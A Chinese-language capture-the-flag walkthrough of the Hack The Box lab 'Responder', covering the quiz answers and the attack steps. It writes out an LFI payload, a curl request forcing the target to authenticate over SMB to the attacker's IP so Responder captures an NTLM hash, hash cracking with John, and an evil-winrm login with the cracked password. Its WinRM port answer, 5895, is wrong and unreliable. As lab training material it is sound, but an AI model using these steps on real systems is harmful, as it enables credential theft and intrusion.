今天尝试 HTB 第二阶段的第五个靶场:Responder
看他 tags 那么多,感觉很厉害的样子
首先直接nmap扫描
不知道为什么,我的nmap扫描真的很忙,本想尝试全端口扫描,但慢到我只能尝试一万个端口之内的 -sT 扫描了。。。
当然直接打开 80 端口的网页进行查看
(实操部分在第八题后面,前面先做做“笔试”练练手)
1. 第一题
When visiting the web service using the IP address, what is the domain that we are being redirected to?
就是说访问这个IP会重定向到哪个页面?
答案:unika.htb
对了重定向到这个域名但是打不开他的网站的,所以我们需要修改一下hosts文件,固定让这个域名解析到我们开启的靶机的ip
这样就能正常打开这个网页了
2. 第二题
Which scripting language is being used on the server to generate webpages?
查看页面使用什么语言写的?
打开调试器的网络,查看响应头就可知道
答案:PHP
3. 第三题
What is the name of the URL parameter which is used to load different language versions of the webpage?
打开不同语言的页面,URL里是用哪个的参数?
一开始当然不知道是干嘛,但聪明的小伙伴就可以从第一栏里发现可以切换语言显示不同语言的界面
切换之后就知道参数就是 page
答案:page
4. 第四题
Which of the following values for the `page` parameter would be an example of exploiting a Local File Include (LFI) vulnerability: "french.html", "//10.10.14.6/somefile", "../../../../../../../../windows/system32/drivers/etc/hosts", "minikatz.exe"
就是问下面这几个例子里有哪几个算是本地文件包含
第二个和第三个肯定是呀,第一个就是打开普通html页面,第四个一般浏览器默认是如果网站文件夹里有这个软件,访问他就是下载下来。
看着提示给了一堆 ../../../../../........ 当然就是填第三个咯
答案:../../../../../../../../windows/system32/drivers/etc/hosts
5. 第五题
题目和第四题一样,提示给的是 //xx.xx.xx.xx/xxxxxe,那我就填第二个呗
答案://10.10.14.6/somefile
6. 第六题
What does NTLM stand for?
什么是NTLM?也就是全称是啥?这个大家自行百度,NTLM的知识点哈
答案:New Technology Lan Manager
7. 第七题
Which flag do we use in the Responder utility to specify the network interface?
因为这里是要用到 Responder 这个工具,所以我们进kali里看一下
用哪个参数指定接口?
定眼一看,那么大一个 -I 就在这
答案:-I
8. 第八题
There are several tools that take a NetNTLMv2 challenge/response and try millions of passwords to see if any of them generate the same response. One such tool is often referred to as `john`, but the full name is what?.
就是说有个工具能够破解 Hash 他的名字叫 john ,那他的全名叫啥?
答案:John The Ripper (开膛手约翰,是不是有点吓人)
言归正传,答了那么多题,还没去实操一下,所以还是要去练练手
从这些题里我们可以得知,题主要我们访问网页,利用PHP文件的本地文件包含漏洞,去获取到主机的 Hash 值,然后进行破解这么一个流程
LFI漏洞验证
首先我们先验证一下这个网站的文件包含漏洞吧
这里可以看到成功的访问到 hosts文件的内容,说明存在 LFI 漏洞
同样使用 curl 也能成功获取到(-v 是显示完整数据内容)
curl -v http://unika.htb/index.php?page=../../../../../../../../windows/system32/drivers/etc/hosts
Responder进行 Hash 抓取
如果Kali上没有 responder记得先安装一下,如果运行他报错的话,可以使用下面命令更新他(只更新这个工具)
apt install --only-upgrade responder
我们先查看网络配置
我们是要抓取VPN的流量,所以 responder的命令为:
responder -I tun0
这样就已经成功监听了
然后我们利用文件包含漏洞,让网站服务器来访问我的主机,这样responder就能捕获到这台服务器的 NTLM Hash
这里我是用 curl 命令,这个 IP 就是上上图中的分配给我的 IP 地址
curl -v "http://unika.htb/index.php?page=//10.10.16.76/123321"
当然为什么是使用 SMB 协议去访问呢,因为在 PHP 的配置文件中,禁用了 HTTP和FTP的方式去利用 LFI漏洞,所以使用 SMB 协议,在 page参数后直接拼接 ip和不存在的文件使其报错就行
之后来responder这边查看,发现已经抓取到了 服务器的 NTLM Hash
我们将 NTLMv2-SSP Hash:后面的 Hash值保存到 hash.txt文件中
利用John对 Hash进行破解
我们使用 Kali 里 /usr/share/wordlists 目录下的字典进行破解,这次我们选择 rockyou.txt 字典
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
然后我们发现直接就破解出来了
当然真实环境肯定没有那么容易,但是这些靶场的密码破解,kali自带的字典完全够用了。
9. 第九题
What is the password for the administrator user?
答案:badminton
10. 第十题
We'll use a Windows service (i.e. running on the box) to remotely access the Responder machine using the password we recovered. What port TCP does it listen on?
说有个能使我们远程访问服务器的服务监听的哪个端口?
答案:5895
因为实际上在这台服务器上还启动了一个服务 WinRM Windows的远程管理服务
因为开始我们没有扫出来这个端口,所以我们又重新扫描,但因为太慢了,加上我提前知道了端口,所以就意思一下
nmap -p5000-6000 10.129.41.13 -sV
所以这里使用一个工具 evil-winrm 远程管理Windows shell的工具
就有点像 mysql 连接一样
evil-winrm -i 10.129.41.13 -u Administrator -p badminton
查看Documents目录没东西,就进到管理员目录查看,也没什么收获
所以就进到Users里查看有哪些用户
进到mike里查看
果不其然找到了flag.txt
查看flag
11. 第十一题:提交flag
ea81b7afddd03efaa0945333ed147fac
成功!